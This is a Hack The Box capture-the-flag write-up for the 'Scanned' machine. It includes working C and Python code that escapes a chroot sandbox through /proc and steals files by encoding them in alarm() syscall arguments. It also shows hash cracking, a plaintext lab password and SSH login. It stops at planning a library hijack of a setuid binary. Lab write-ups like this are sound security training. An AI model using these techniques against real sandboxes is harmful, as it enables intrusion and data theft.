Hack The Box - Scanned

000_info_card

Scanned is an insane rated machine on HackTheBox created by clubby789. For the user part we will escape a chroot jail to read the database file of a web server giving us ssh access because of reused credentials. To obtain root we will again fiddle with the chroot jail binary to call a suid binary using a backdored library and thus getting code execution as the root user.

User

As usual we start our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.

All Ports

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -n -p- -T4 10.129.159.163
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-31 18:34 CET
Nmap scan report for 10.129.159.163
Host is up (0.034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 100.45 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -sC -sV -p22,80 -n 10.129.159.163
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-31 18:38 CET
Nmap scan report for 10.129.159.163
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 6a:7b:14:68:97:01:4a:08:6a:e1:37:b1:d2:bd:8f:3f (RSA)
|   256 f6:b4:e1:10:f0:7b:38:48:66:34:c2:c6:28:ff:b8:25 (ECDSA)
|_  256 c9:8b:96:19:51:e7:ce:1f:7d:3e:44:e9:a4:04:91:09 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Malware Scanner
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds

There are only two ports open on the machine with nginx running on port 80 seeming most promising for initial access. Opening the page in our browser we see an application that offers to scan malware in a chroot jail.

005_MalScanner_home

The first link on the page http://10.129.159.163/scanner/upload leads to the upload form where we can submit a binary for scanning.

010_MalScanner_upload

The other link http://10.129.159.163/static/source.tar.gz let’s us download a source tar archive. The archive looks interesting so let’s download and unpack it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ tar -xvf source.tar.gz
malscanner/
malscanner/.gitignore
malscanner/malscanner/
malscanner/malscanner.db
malscanner/malscanner/__init__.py
malscanner/malscanner/__pycache__/
malscanner/malscanner/__pycache__/__init__.cpython-39.pyc
malscanner/malscanner/__pycache__/settings.cpython-39.pyc
malscanner/malscanner/__pycache__/urls.cpython-39.pyc
malscanner/malscanner/__pycache__/views.cpython-39.pyc
malscanner/malscanner/__pycache__/wsgi.cpython-39.pyc
malscanner/malscanner/asgi.py
malscanner/malscanner/settings.py
malscanner/malscanner/urls.py
malscanner/malscanner/views.py
malscanner/malscanner/wsgi.py
malscanner/manage.py
malscanner/requirements.txt
malscanner/sandbox/
malscanner/sandbox/jails/
malscanner/sandbox/sandbox
malscanner/scanner/
malscanner/scanner/__init__.py
malscanner/scanner/__pycache__/
malscanner/scanner/__pycache__/__init__.cpython-39.pyc
malscanner/scanner/__pycache__/forms.cpython-39.pyc
malscanner/scanner/__pycache__/urls.cpython-39.pyc
malscanner/scanner/__pycache__/views.cpython-39.pyc
malscanner/scanner/admin.py
malscanner/scanner/apps.py
malscanner/scanner/forms.py
malscanner/scanner/tests.py
malscanner/scanner/urls.py
malscanner/scanner/views.py
malscanner/static/
malscanner/static/source.tar.gz
malscanner/templates/
malscanner/templates/index.html
malscanner/templates/upload.html
malscanner/templates/view.html
malscanner/uploads/
malscanner/uwsgi_params
malscanner/viewer/
malscanner/viewer/__init__.py
malscanner/viewer/__pycache__/
malscanner/viewer/__pycache__/__init__.cpython-39.pyc
malscanner/viewer/__pycache__/syscalls.cpython-39.pyc
malscanner/viewer/__pycache__/urls.cpython-39.pyc
malscanner/viewer/__pycache__/views.cpython-39.pyc
malscanner/viewer/admin.py
malscanner/viewer/apps.py
malscanner/viewer/syscalls.py
malscanner/viewer/tests.py
malscanner/viewer/urls.py
malscanner/viewer/views.py
sandbox/
sandbox/.gitignore
sandbox/Makefile
sandbox/copy.c
sandbox/jails/
sandbox/sandbox.c
sandbox/tracing.c

Looking at the source code of the upload form we see what happens with our uploaded binary. First it generates a md5 hash of our uploaded file writes it to disk and runs it with a sandbox executable.

malscanner/scanner/views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from django.http import HttpResponse, HttpResponseRedirect
from django.shortcuts import render
from django.conf import settings
from django_file_md5 import calculate_file_md5

from .forms import UploadFileForm

import os


def index(request):
    return HttpResponse("Hello, world. You're at the polls index.")


def upload_file(request):
    if request.method == 'POST':
        form = UploadFileForm(request.POST, request.FILES)
        if form.is_valid():
            md5 = handle_file(request.FILES['file'])
            return HttpResponseRedirect(f'/viewer/{md5}')
        else:
            return HttpResponse("Invalid form")
    else:
        return render(request, 'upload.html', {'form': UploadFileForm()})


def handle_file(file):
    md5 = calculate_file_md5(file)
    path = f"{settings.FILE_PATH}/{md5}"
    with open(path, 'wb+') as f:
        for chunk in file.chunks():
            f.write(chunk)
    os.system(f"cd {settings.SBX_PATH}; ./sandbox {path} {md5}")
    os.remove(path)
    return md5

The viewer seems to return some syscalls that happened during execution.

malscanner/viewer/views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from django.shortcuts import render
from django.conf import settings
from django.http import Http404, HttpResponse
from .syscalls import LoggedSyscall, SyscallClass

import os.path
import struct


def view_file(request, md5: str):
    path = f"{settings.SBX_PATH}/jails/{md5}"
    if not os.path.exists(path):
        raise Http404("A sample with this hash has not been uploaded.")
    logfile = f"{path}/log"
    if not os.path.exists(logfile):
        return HttpResponse("There was an error logging this application")
    syscalls = [call.render() for call in parse_log(logfile)]
    ignore = list(filter(lambda call: call[0] == SyscallClass.Ignore, syscalls))
    low = list(filter(lambda call: call[0] == SyscallClass.Low, syscalls))
    med = list(filter(lambda call: call[0] == SyscallClass.Medium, syscalls))
    high = list(filter(lambda call: call[0] == SyscallClass.High, syscalls))
    render_vars = {"md5": md5, "ignore": ignore, "low": low, "med": med, "high": high}
    return render(request, 'view.html', render_vars)


def parse_log(path):
    syscalls = []
    with open(path, 'rb') as f:
        chunk = f.read(8 * 8)
        nums = struct.unpack("q" * 8, chunk)
        while len(chunk) == 8*8:
            nums = struct.unpack("q" * 8, chunk)
            call = LoggedSyscall(nums)
            syscalls.append(call)
            chunk = f.read(8 * 8)
    return syscalls

malscanner/viewer/syscalls.py

In the source.tar.gz the code for sandbox is also included.

1
2
3
4
5
6
7
8
find .
.
./.gitignore
./Makefile
./tracing.c
./sandbox.c
./jails
./copy.c

Looking at the Makefile we see it creates the jails directory upon building. Furthermore the finished binary get’s the cap_setuid capability set which looks very promising in a successful exploit scenario.

Makefile

.PHONY: all clean

all: sandbox

jails:
	mkdir jails; chmod 0771 jails


sandbox: jails sandbox.c copy.c tracing.c
	gcc sandbox.c copy.c tracing.c -static -o sandbox
	sudo setcap 'cap_setpcap,cap_sys_admin,cap_setuid,cap_setgid,cap_sys_chroot=+eip' ./sandbox

clean:
	for i in $(shell find jails -maxdepth 2 -name proc); do sudo umount $$i; done
	rm -rf sandbox jails/*

Going through the source code we start in the main function of the program. The binary expects at least one argument else it exits and the argument has to start with /. The flow continues by calling the check_cap() function.

sandbox.c/main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, char** argv) {
    if (argc < 2) {
        printf("Usage: %s <program> [uuid]\n", argv[0]);
        exit(-2);
    }
    if (strlen(argv[1]) > FILENAME_MAX - 50) {
        DIE("Program name too long");
    }
    if ((argv[1][0]) != '/') {
        DIE("Program path must be absolute");
    }
    umask(0);
    check_caps();
    int result = mkdir("jails", 0771);
    if (result == -1 && errno != EEXIST) {
        DIE( "Could not create jail directory");
    }
    char uuid[33] = {0};
    if (argc < 3) {
        generate_uuid(uuid);
    } else {
        memcpy(uuid, argv[2], 32);
    }
    uuid[32] = 0;
    make_jail(uuid, argv[1]);
}

Inside the function the current capabilities of the process are retrieved and if they aren’t sufficient to pass the check the program exits. Since we cannot change the capabilities on the remote binary unless we have root access this check is irrelevant for us unless building the binary ourselves.

sandbox.c/check_caps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct user_cap_header_struct {
    int version;
    pid_t pid;
};
struct user_cap_data_struct {
    unsigned int effective;
    unsigned int permitted;
    unsigned int inheritable;
};


int copy(const char* src, const char* dst);
void do_trace();
int jailsfd = -1;

#define DIE(err) fprintf(stderr, err ": (%d)\n", errno); exit(-1)

...[snip]...

// Check we have all required capabilities
void check_caps() {
    struct user_cap_header_struct header;
    struct user_cap_data_struct caps;
    char pad[32];
    header.version = _LINUX_CAPABILITY_VERSION_3;
    header.pid = 0;
    caps.effective = caps.inheritable = caps.permitted = 0;
    syscall(SYS_capget, &header, &caps);
    if (!(caps.effective & 0x2401c0)) {
        DIE("Insufficient capabilities");
    }
}

Next up in main a uuid is generated if no second argument is passed which would in turn take the place of the uuid.

sandbox.c/generate_uuid

1
2
3
4
5
6
void generate_uuid(char* buf) {
    srand(time(0));
    for (int i = 0; i < 32; i+=2) {
        sprintf(&buf[i], "%02hhx", (char)(rand() % 255));
    }
}

Before the program ends the make_jail function is called in main. First it checks if a file with the name of the uuid already exists in the jails directory, exits if it does and elses create a directory with the uuid as name. Afterwards it switches to the dirctory and calls copy_libs.

sandbox.c/make_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void make_jail(char* name, char* program) {
    jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
    if (faccessat(jailsfd, name, F_OK, 0) == 0) {
        DIE("Jail name exists");
    }
    int result = mkdirat(jailsfd, name, 0771);
    if (result == -1 && errno != EEXIST) {
        DIE( "Could not create the jail");
    }

    if (access(program, F_OK) != 0) {
        DIE("Program does not exist");
    }
    chdir("jails");
    chdir(name);
    copy_libs();
    do_namespaces();
    copy(program, "./userprog");
    if (chroot(".")) {DIE("Couldn't chroot #1");}
    if (setgid(1001)) {DIE("SGID");}
    if (setegid(1001)) {DIE("SEGID");}
    if (setuid(1001)) {DIE("SUID");};
    if (seteuid(1001)) {DIE("SEUID");};
    do_trace();
    sleep(3);
}

Here a bin , usr/lib/x86_64-linux-gnu and usr/lib64 directory get created. Next copy gets called to copy the the library and afterwards two symlinks are created for lib64 and lib respectively.

sandbox.c/copy_libs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void copy_libs() {
    char* libs[] = {"libc.so.6", NULL};
    char path[FILENAME_MAX] = {0};
    char outpath[FILENAME_MAX] = {0};
    system("mkdir -p bin usr/lib/x86_64-linux-gnu usr/lib64; cp /bin/sh bin");
    for (int i = 0; libs[i] != NULL; i++) {
        sprintf(path, "/lib/x86_64-linux-gnu/%s", libs[i]);
        // sprintf(path, "/lib/%s", libs[i]);
        sprintf(outpath, "./usr/lib/%s", libs[i]);
        copy(path, outpath);
    }
    copy("/lib64/ld-linux-x86-64.so.2", "./usr/lib64/ld-linux-x86-64.so.2");
    system("ln -s usr/lib64 lib64; ln -s usr/lib lib; chmod 755 -R usr bin");
}

Inside copy the actual copying of the library happens.

copy.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// https://stackoverflow.com/questions/2180079/how-can-i-copy-a-file-on-unix-using-c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>

/* On versions of glibc < 2.27, need to use syscall.
 *
 * To determine glibc version used by gcc, compute an integer representing the
 * version. The strides are chosen to allow enough space for two-digit
 * minor version and patch level.
 *
 */
#define GCC_VERSION (__GNUC__*10000 + __GNUC_MINOR__*100 + __gnuc_patchlevel__)
#if GCC_VERSION < 22700
static loff_t copy_file_range(int in, loff_t* off_in, int out,
  loff_t* off_out, size_t s, unsigned int flags)
{
  return syscall(__NR_copy_file_range, in, off_in, out, off_out, s,
    flags);
}
#endif

int copy(const char* src, const char* dst) {
    int in, out;
    struct stat stat;
    loff_t s, n;
    if(0>(in = open(src, O_RDONLY))){
        perror("open(src, ...)");
        exit(EXIT_FAILURE);
    }
    if(fstat(in, &stat)){
        perror("fstat(in, ...)");
        exit(EXIT_FAILURE);
    }
    s = stat.st_size;
    if(0>(out = open(dst, O_CREAT|O_WRONLY|O_TRUNC, 0777))){
        perror("open(dst, ...)");
        exit(EXIT_FAILURE);
    }
    do{
        if(1>(n = copy_file_range(in, NULL, out, NULL, s, 0))){
            perror("copy_file_range(...)");
            exit(EXIT_FAILURE);
        }
        s-=n;
    }while(0<s && 0<n);
    close(in);
    close(out);
    return EXIT_SUCCESS;
}

Continuing with the execution flow in make_jail, do_namespaces is called next. This function creates a new namespace and unshares the pid and network space from the original namespace. Furthermore here a timer get’s set for the parent to exit after 6 seconds. Afterwards a /proc dirctory is created in ./jails/[uuid] and the actual /proc directory is mounted on top of it.

sandbox.c/do_namespaces

1
2
3
4
5
6
7
void do_namespaces() {
    if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
    // Create pid-1
    if (fork() != 0) {sleep(6); exit(-1);}
    mkdir("./proc", 0555);
    mount("/proc", "./proc", "proc", 0, NULL);
}

After do_namespaces copy is called again to move the uploaded binary inside the chroot jail and the uid’s are set to 1001. Last up in make_jail, do_trace gets called. This function first drops the effective and permitted capabilities. Afterwards a child process is started which is killed after 5 seconds by another forked process which exits itself afterwards.

sandbox.c/do_trace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void do_trace() {
    // We started with capabilities - we must reset the dumpable flag
    // so that the child can be traced
    prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
    // Remove dangerous capabilities before the child starts
    struct user_cap_header_struct header;
    struct user_cap_data_struct caps;
    char pad[32];
    header.version = _LINUX_CAPABILITY_VERSION_3;
    header.pid = 0;
    caps.effective = caps.inheritable = caps.permitted = 0;
    syscall(SYS_capget, &header, &caps);
    caps.effective = 0;
    caps.permitted = 0;
    syscall(SYS_capset, &header, &caps);
    int child = fork();
    if (child == -1) {
        DIE("Couldn't fork");
    }
    if (child == 0) {
        do_child();
    }
    int killer = fork();
    if (killer == -1) {
        DIE("Couldn't fork (2)");
    }
    if (killer == 0) {
        do_killer(child);
    } else {
        do_log(child);
    }
}

Inside do_child the jailsfd is closed to lock the forked process inside ./jails/[uuid]. The interesting thing here is though that /proc is mounted inside the chroot jail and still provides means of accessing the rest of the filesystem.

sandbox.c/do_child

1
2
3
4
5
6
7
8
9
void do_child() {
    // Prevent child process from escaping chroot
    close(jailsfd);
    prctl(PR_SET_PDEATHSIG, SIGHUP);
    ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    char* args[] = {NULL};
    execve("/userprog", args, NULL);
    DIE("Couldn't execute user program");
}

After do_child a “killer” process is forked in do_killer which sleeps for 5 seconds, kills the do_child process and then exits.

sandbox.c/do_killer

1
2
3
4
5
6
void do_killer(int pid) {
    sleep(5);
    if (kill(pid, SIGKILL) == -1) {DIE("Kill err");}
    puts("Killed subprocess");
    exit(0);
}

In do_log all the syscalls and their results are traced and passed to log_syscall.

sandbox.c/do_log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void do_log(int pid) {
    int status;
    waitpid(pid, &status, 0);
    struct user_regs_struct regs;
    struct user_regs_struct regs2;
    while (1) {
        // Enter syscall
        ptrace(PTRACE_SYSCALL, pid, 0, 0);
        waitpid(pid, &status, 0);
        if (WIFEXITED(status) || WIFSIGNALED(status)) {
            puts("Exited");
            return;
        }
        ptrace(PTRACE_GETREGS, pid, 0, &regs);
        // Continue syscall
        ptrace(PTRACE_SYSCALL, pid, 0, 0);
        waitpid(pid, &status, 0);
        ptrace(PTRACE_GETREGS, pid, 0, &regs2);
        log_syscall(regs, regs2.rax);
    }
}

typedef struct __attribute__((__packed__)) {
    unsigned long rax;
    unsigned long rdi;
    unsigned long rsi;
    unsigned long rdx;
    unsigned long r10;
    unsigned long r8;
    unsigned long r9;
    unsigned long ret;
} registers;

log_syscall now writes the traced syscalls to a log file /log.

sandbox.c/log_syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void log_syscall(struct user_regs_struct regs, unsigned long ret) {
    registers result;
    result.rax = regs.orig_rax;
    result.rdi = regs.rdi;
    result.rsi = regs.rsi;
    result.rdx = regs.rdx;
    result.r10 = regs.r10;
    result.r8 = regs.r8;
    result.r9 = regs.r9;
    result.ret = ret;
    int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
    if (fd == -1) {
        return;
    }
    write(fd, &result, sizeof(registers));
    close(fd);

The log file now get’s rendered on the viewer route in django. Looking at malscanner/viewer/syscalls.py we can see a list of supported syscalls.

malscanner/viewer/syscalls.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
...[snip]...

syscalls = [
    [SyscallClass.Low, "read", 0, 3],
    [SyscallClass.Low, "write", 1, 3],
    [SyscallClass.Medium, "open", 2, 3],
    [SyscallClass.Low, "close", 3, 1],
    [SyscallClass.Medium, "stat", 4, 2],
    [SyscallClass.Medium, "fstat", 5, 2],
    [SyscallClass.Medium, "lstat", 6, 2],
    [SyscallClass.Medium, "access", 21, 2],
    [SyscallClass.Low, "alarm", 37, 1],
    [SyscallClass.High, "socket", 41, 3],
    [SyscallClass.High, "connect", 42, 3],
    [SyscallClass.High, "accept", 43, 3],
    [SyscallClass.High, "shutdown", 48, 2],
    [SyscallClass.High, "bind", 49, 3],
    [SyscallClass.High, "listen", 50, 2],
    [SyscallClass.Medium, "clone", 56, 5],
    [SyscallClass.Medium, "fork", 57, 0],
    [SyscallClass.Medium, "vfork", 58, 0],
    [SyscallClass.High, "execve", 59, 3],
    [SyscallClass.High, "kill", 62, 2],
    [SyscallClass.Medium, "uname", 63, 1],
    [SyscallClass.Medium, "getdents", 78, 3],
    [SyscallClass.Medium, "getcwd", 79, 2],
    [SyscallClass.Medium, "chdir", 80, 1],
    [SyscallClass.Medium, "fchdir", 81, 1],
    [SyscallClass.High, "rename", 82, 2],
    [SyscallClass.Low, "mkdir", 83, 2],
    [SyscallClass.High, "rmdir", 84, 1],
    [SyscallClass.High, "unlink", 87, 1],
    [SyscallClass.Medium, "chmod", 90, 2],
    [SyscallClass.Medium, "fchmod", 91, 2],
    [SyscallClass.High, "chown", 92, 3],
    [SyscallClass.High, "fchown", 93, 3],
    [SyscallClass.High, "ptrace", 101, 4],
]

...[snip]...

Since we are in a chroot jail and the PID + NET namepspace is unshared we have to think of another way to exploit the situation. One way to do this is the mounted /proc filesystem. Using PID 1, FD 3 and the ../ sequence we can traverse back outside of the chroot jail. Next we need a way to exfiltrate data from the system, which we can do using syscalls that in turn get logged and output on the website. To test our exfiltration we can first compile a small test binary with a string to exfiltrate. Multiple syscalls for this cause would be possible but we will use alarm in this case. Alarm takes an unsigned integer as input so we have to convert our char array. Since an unsigned integer is the size of 4 on linux systems the string test is just right for the first attempt. We convert the char pointer to an unsigned int pointer and run a syscall on the value (37 representing the alarm syscall).

test.c

1
2
3
4
5
6
7
8
9
10
11
12
#include "unistd.h"
#include "string.h"


int main (int argc, char *argv[])
{
  char* buf = "test";
  unsigned int val = 0;
  val = *((unsigned int *)(&buf[0]));
  syscall(37, val);
  return 0;
}

After compiling the binary we upload it and after the sleep we get a result.

1
$ gcc test.c -o testing

015_MalScanner_syscall_alarm

Converting the hex back to ascii we see our exfiltration technique is working and we are getting back the string tset. The order here is reversed because it is a little endian system.

1
2
$ echo -n '74736574' | xxd -r -p
tset

Since we got exfiltration working we can next try to exfiltrate an actual file. Because we are running under the uid of 1001 we first choose a world readable one which also gives more information about the system like /etc/passwd

exfil_passwd.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "unistd.h"
#include "fcntl.h"


int main (int argc, char *argv[])
{
  char buf[0x8];
  int fd = open("/proc/1/fd/3/../../../../../../etc/passwd", O_RDONLY);
  while(read(fd, buf, 0x4) != 0)
  {
    unsigned int val = 0;
    val = *((unsigned int*)(&buf[0]));
    syscall(37,val);
  }
  close(fd);
  return 0;
}

Checking the first alarm it looks like it is working with toor being root in reverse.

020_MalScanner_passwd

1
2
$ echo -n '746f6f72' | xxd -r -p
toor

We are now able to read files on the system but converting them manually and recompiling the binary would be very time consuming. This short python script will do the work for us here. it first fills in the file we want to read into C source code and compiles it. Then it uploads the binary to the malscanner, retrieves the response, parses it and saves the exfiltrated file on our system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import uuid
import os
import sys
from binascii import unhexlify

FILENAME = sys.argv[1]
URL = 'http://10.129.159.163/scanner/upload/'

C_CODE = f'''#include "unistd.h"
#include "fcntl.h"


int main (int argc, char *argv[])
{
  char buf[0x4];
  int fd = open("{FILENAME}", O_RDONLY);
  while(read(fd, buf, 0x4) != 0)
  {
    unsigned int val = 0;
    val = *((unsigned int *)(&buf[0]));
    syscall(37, val);
  }
  close(fd);
  return 0;
}
'''

guid_source = uuid.uuid4()
guid_bin = uuid.uuid4()

source = open(f'./{guid_source}.c', 'w')
source.write(C_CODE)
source.close()

os.system(f'gcc ./{guid_source}.c -o {guid_bin}')

multipart_form_data = {
    'file': (f'{guid_bin}', open(f'./{guid_bin}', 'rb')),
}

r = requests.post(URL, files=multipart_form_data, allow_redirects=True)
os.system(f'rm ./{guid_source}.c {guid_bin}')


out = b''

valid_lines = [line for line in r.text.split('\n') if 'alarm(0x' in line]
for line in valid_lines:
    exfil = line.split('alarm(0x')[1].split(') = 0x')[0]
    exfil = '0' * (8 - len(exfil)) + exfil
    out += unhexlify(exfil)[::-1]

save_out = open(FILENAME.replace('/', '_'), 'wb')
save_out.write(out)
save_out.close()

Testing it with the /etc/passwd file again we can now comfortably retrieve it.

1
$ python3 readfile.py '/proc/1/fd/3/../../../../../../etc/passwd'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ cat _proc_1_fd_3_.._.._.._.._.._.._etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
clarence:x:1000:1000:clarence,,,:/home/clarence:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sandbox:x:1001:1001::/home/sandbox:/usr/sbin/nologin
gin

Looking for possible interesting files on the system there is a malscanner.db in the webroot of the source code.

1
2
3
$ ls malscanner
malscanner     manage.py         sandbox  static     uploads       viewer
malscanner.db  requirements.txt  scanner  templates  uwsgi_params

The end of the settings.py django configuration file leaks the root of the web application so we know where to look for the database.

1
2
FILE_PATH = "/var/www/malscanner/uploads"
SBX_PATH = "/var/www/malscanner/sandbox"

Using our script we can retrieve the database and opening it there is a hash for the user clarence inside which also is a user on the os.

1
$ python3 readfile.py '/proc/1/fd/3/../../../../../../var/www/malscanner/malscanner.db'
1
2
3
4
5
6
7
8
9
10
11
$ sqlite3 _proc_1_fd_3_.._.._.._.._.._.._var_www_malscanner_malscanner.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
auth_group                  auth_user_user_permissions
auth_group_permissions      django_admin_log
auth_permission             django_content_type
auth_user                   django_migrations
auth_user_groups            django_session
sqlite> select * from auth_user;
1|md5$kL2cLcK2yhbp3za4w3752m$9886e17b091eb5ccdc39e436128141cf|2021-09-14 18:39:55.237074|1|clarence|||1|1|2021-09-14 18:36:46.227819|

Using hashcat and rockyou we are able to crack it quite quickly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ hashcat -m 20 -a 0 -O hash rockyou.txt
hashcat (v6.2.5) starting

...[snip]...

886e17b091eb5ccdc39e436128141cf:kL2cLcK2yhbp3za4w3752m:onedayyoufeellikecrying

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: 9886e17b091eb5ccdc39e436128141cf:kL2cLcK2yhbp3za4w3752m
Time.Started.....: Tue Feb  1 00:53:57 2022 (0 secs)
Time.Estimated...: Tue Feb  1 00:53:57 2022 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 15539.8 kH/s (2.49ms) @ Accel:8192 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 5243993/14344388 (36.56%)
Rejected.........: 1113/5243993 (0.02%)
Restore.Point....: 2622142/14344388 (18.28%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: yayavega -> n11575y
Hardware.Mon.#1..: Temp: 41c Fan: 33% Util:  0% Core:1733MHz Mem:4006MHz Bus:16

Started: Tue Feb  1 00:53:52 2022
Stopped: Tue Feb  1 00:53:59 2022

Testing the credentials clarence:onedayyoufeellikecrying with ssh we are able to log into the machine and grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ssh clarence@10.129.159.163
clarence@10.129.159.163's password:
Linux scanned 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 31 23:12:39 2022 from 10.10.14.73
clarence@scanned:~$ wc -c user.txt
33 user.txt

Root

We noticed earlier that sandbox gets the cap_setuid set when compiling. This is also the case on this system. Furthermore there seemed to be interesting file permission on the copied libraries and on the whole jail directory itself.

1
2
clarence@scanned:~$ /usr/sbin/getcap /var/www/malscanner/sandbox/sandbox
/var/www/malscanner/sandbox/sandbox cap_setgid,cap_setuid,cap_setpcap,cap_sys_chroot,cap_sys_admin=eip

Checking on the system the directory is world readable. This means we can copy anything inside while we run a binary with sandbox. Since we are also able to access the rest of the filesystem through /proc/1/fd/3 we can run another binary from inside the sandbox. These two things mean we are able to make a binary on the host run with a backdoored library version.

1
2
3
4
clarence@scanned:~$ ls -al /var/www/malscanner/sandbox/jails/
total 8
drwxrwxrwx 2 root root 4096 Jan 13 17:27 .
drwxr-xr-x 3 root root 4096 Jan 13 17:27 ..

Doing this with a suid binary we should be able to achieve code execution as root so the first step is to look at the suid binaries available on the system.

1
2
3
4
5
6
7
8
9
10
11
12
13
clarence@scanned:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/su
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/umount

In this case we choose mount as our target. Using ldd we can see all the libraries it imports.

1
2
3
4
5
6
7
8
9
10
clarence@scanned:/var/www/malscanner/sandbox$ ldd /usr/bin/mount
        linux-vdso.so.1 (0x00007ffe1d1f2000)
        libmount.so.1 => /lib/x86_64-linux-gnu/libmount.so.1 (0x00007f0af75d4000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0af740f000)
